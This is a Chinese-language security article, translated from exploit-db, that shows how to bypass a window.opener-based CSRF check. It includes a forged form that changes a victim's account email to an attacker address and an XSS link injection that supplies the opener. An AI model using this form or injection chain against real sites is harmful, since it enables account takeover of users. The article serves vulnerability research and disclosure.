利用Window.Opener绕过CSRF保护

2015-10-30 +8 311469人围观 ,发现 7 个不明物体 WEB安全漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

随着Web应用的流行,安全问题日益受到瞩目。目前Web应用的安全性更多依靠Web开发人员来保障,而非依靠客户端验证机制。这使得Web应用变的更加灵活可靠,但同时也伴随着高昂的代价。目前70%的Web应用都非常脆弱,正是由于基于客户端的认证机制非常容易被绕过。日前,我在一项Web应用中,发现了一个有趣的防范CSRF攻击的安全机制。

1.简介

当我们谈论CSRF防护时,通常会使用三种方法:

1.检查Referrer
2.基于表单的随机Token
3.基于Cookie的随机Token

目前我们进行的CSRF防护多是使用JavaScript代码在客户端进行防护的。

2.分析

我们来看一个HTTP头

POST /home/accountsettings HTTP/1.1 
Host: websecgeeks.com 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 
Referer: http://websecgeeks.com/ Connection: keep-alive 
Content-Length: 57 
newemail=attacker@something.com&Submit=Save

由于没有使用随机Token,我们可以说上面这段代码存在CSRF威胁。为了验证这点,我创建了一个html页面:

<html>
<body> 
<form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> 
<input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> 
<input type=”hidden” name=”Submit” value=”Save” /> 
<input type=”submit” value=”Submit form” /> 
</form> 
</body> 
</html>

当我使用一个合法的会话去执行这个页面的时候,Web应用立即踢出了我,之后我反复尝试重新执行,Web应用均立即踢出了我并注销了我的会话。我猜想可能是Web使用了Referrer进行验证,所以我手动增加了一个合法的Referrer值,结果Web应用再次注销了我的会话。

在经历了数次尝试之后,我发现了一段用来防护的JavaScript代码

<script> 
    if(window.opener ==null){
        top.location.href=”/homedirectory/logoutuser”;
    } 
</script>

我们发现这段代码请求了一个Window.opener值。如果Window.opener的值为空,则Web应用则会踢出我并注销我们的会话。就CSRF防护来说,这段代码相当不错。关于Window.opener请参见:Windows Opener Description

当一个窗口由另一个窗口打开时,这个窗口会维护一个指向前一个窗口的参考值,这个值就是window.opener。如果当前窗口没有由其他窗口来打开,那么window.opener值为空。目前Windows Phone浏览器不支持window.opener,同时当窗口由不同安全区域的窗口来打开时,IE浏览器也不支持window.opener。

那么现在我们就需要设置window.opener来实现CSRF攻击。

3.利用

通过分析我找到了一种通过使用HTTP标签中href属性来创建Opener值的方法。

首先创建两个页面

1.xss.php
2.csrf3.html

1.这两个页面都存在于受攻击的Web服务器上,暂且假设为"localhost"

在"xss.php"中我创建了一个指向"csrf3.html"的链接,同时使用get方法传递一个名为"zip"的变量。这里我们假设zip变量没有进行任何过滤。那么我们使用href进行如下注入:

<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>

2.对于csrf3.html我们使用之前的代码

<html>
<body> 
<form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> 
<input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> 
<input type=”hidden” name=”Submit” value=”Save” /> 
<input type=”submit” value=”Submit form” /> 
</form> 
</body> 
</html>

最终我们发向目标的URL为

http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>

效果截图如下:

3.现在我成功了,在检查过href给的链接后,我可以打开新的页面而不被Web应用踢出了,同时也绕过了CSRF的防护。

4.结论

就像我们平时常说的基于客户端的验证机制不是一个很好的方法。经过这次实验,我想说使用新的方法去防护Web应用攻击是非常不错的,但我们必须要注意具体的实现方式。

* 本文由xiaix翻译,原文链接:exploit-db,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

更多精彩
相关推荐

这些评论亮了

  • adrain (2级) 回复
    这个绕过也得在站点做了window.opener才能使用吧。
    )6( 亮了
发表评论

已有 7 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php